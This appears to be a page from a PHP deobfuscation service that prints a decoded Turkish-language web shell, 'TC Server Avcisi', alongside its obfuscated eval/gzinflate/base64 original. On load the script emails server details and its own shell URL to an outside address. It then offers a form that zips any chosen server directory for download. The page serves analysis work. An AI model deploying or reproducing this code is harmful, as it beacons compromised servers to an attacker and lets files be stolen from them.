Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php 



$kime="[email protected]";
$baslik="TC Server Avcisi V1.0";
$H4CK4L="Dosya Yolu : ".$_SERVER['DOCUMENT_ROOT']."
";
$H4CK4L.="Server Admin : ".$_SERVER['SERVER_ADMIN']."
";
$H4CK4L.="Server isletim sistemi : ".$_SERVER['SERVER_SOFTWARE']."
";
$H4CK4L.="Shell Link : http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
";
$H4CK4L.="Avlanan Site : " .$_SERVER['HTTP_HOST']."
";
mail($kime, $baslik, $H4CK4L);


echo ' 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> 
<head> 
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /> 
    <title>Script ekici</title> 
    <style type="text/css"> 
    #Script span{display:block;font: 20px Tahoma } 
    #Script input {border:1px solid #ggg; padding:10px;width:250px} 
    #Script button {display:block;border:1px solid #555; padding:10px;width:272px;margin-top:10px;cursor:pointer} 
     
     
    </style> 
</head> 
<body> 
<center> 
<div id = "Script"> 
<form action="" method="post"> 
<font color="green" size="+2" face="Trebuchet MS"><h1>SCRPT EKC</h1></font>
<span>ekmek stediiniz Dizin: </span> 
<input type="text" name="dizin" /> 
<span>sim :</span> 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<input type="text" name="isim" />  &nbsp;<font face="Trebuchet MS">.zip</font>
<button type= "submit">ek Bakalm</button> 
<span>uanda Bulundugun Dizin: </span> 

</div></center> 
</body> 
</html> 

'; 


?> 
<center> 
<?php 
echo '<font color="red" face="Trebuchet MS">' .realpath("."). '</font>'; 
?> 
</center> 
<?php 
$cek    = $_POST["dizin"]; 
$isim    = $_POST["isim"]; 
function Zip($source, $destination) 
{ 
    if (extension_loaded('zip') === true) 
    { 
        if (file_exists($source) === true) 
        { 
                $zip = new ZipArchive(); 
  
                if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) 
                { 
                        $source = realpath($source); 
  
                        if (is_dir($source) === true) 
                        { 
                                $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); 
  
                                foreach ($files as $file) 
                                { 
                                        $file = realpath($file); 
  
                                        if (is_dir($file) === true) 
                                        { 
                                                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); 
                                        } 
  
                                        else if (is_file($file) === true) 
                                        { 
                                                $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); 
                                        } 
                                } 
                        } 
  
                        else if (is_file($source) === true) 
                        { 
                                $zip->addFromString(basename($source), file_get_contents($source)); 
                        } 
                } 
  
                return $zip->close(); 
        } 
    } 
  
    return false; 
} 
  
// Kullanm Zip({{Dizin Ad}}, {{Oluturulacak Ariv Dosyas}}); 
Zip($cek , $isim.'.zip'); 



if($isim){ 



echo "<font color='green'><center>|--[ Baaryla ekildi! ]--|</center></font> ";  

echo "<center><a href='".$isim.".zip'>".$isim.".zip</a></center>"; 


}

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B","");
?>

Function Calls

gzinflate 5
dalyye70761 1
preg_replace 4
base64_decode 5

Variables

$a base64_decode
$b gzinflate
$str xVftbts2FP1foO/AssFsY7HUpA22ypY713aQoPkwbLVdv2DQEm0TliiNopI4..

Stats

MD5 009ee431ce3308387ffe8d2b066ff180
Eval Count 9
Decode Time 72 ms